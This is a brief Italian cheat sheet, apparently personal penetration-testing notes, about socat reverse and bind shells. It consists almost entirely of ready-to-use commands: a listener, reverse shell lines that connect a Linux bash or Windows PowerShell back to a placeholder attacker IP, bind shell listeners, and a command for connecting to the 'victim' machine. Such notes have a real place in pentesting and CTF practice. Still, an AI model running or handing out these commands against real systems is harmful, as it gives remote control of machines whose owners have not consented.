tags: bash listener reverse web socat


Reverse Shell

Comando per ascoltare

socat TCP-L:<port> -

Una volta lanciato il comando non succederà niente, ma la porta sarà in ascolto comunque, semplicemente non è presente la scritta “Listening” come in Netcat.

Per connettersi ad una macchina Linux va usato questo comando

socat TCP:<ATTACKER-IP>:<ATTACKER-PORT> EXEC:"bash -li"

Per connetersi ad una macchina Windows va usato questo comando

socat TCP:<ATTACKER_IP>:<ATTACKER-PORT> EXEC:powershell.exe,pipes

Bind Shell

Comando per ascoltare su una macchina Linux

socat TCP-L:<PORT> EXEC:"bash -li"

Comando per ascoltare su una macchina Windows

socat TCP-L:<PORT> EXEC:powershell.exe,pipes

Comando per connettersi alla macchina vittima

socat TCP:<TARGET-IP>:<TARGET-PORT> -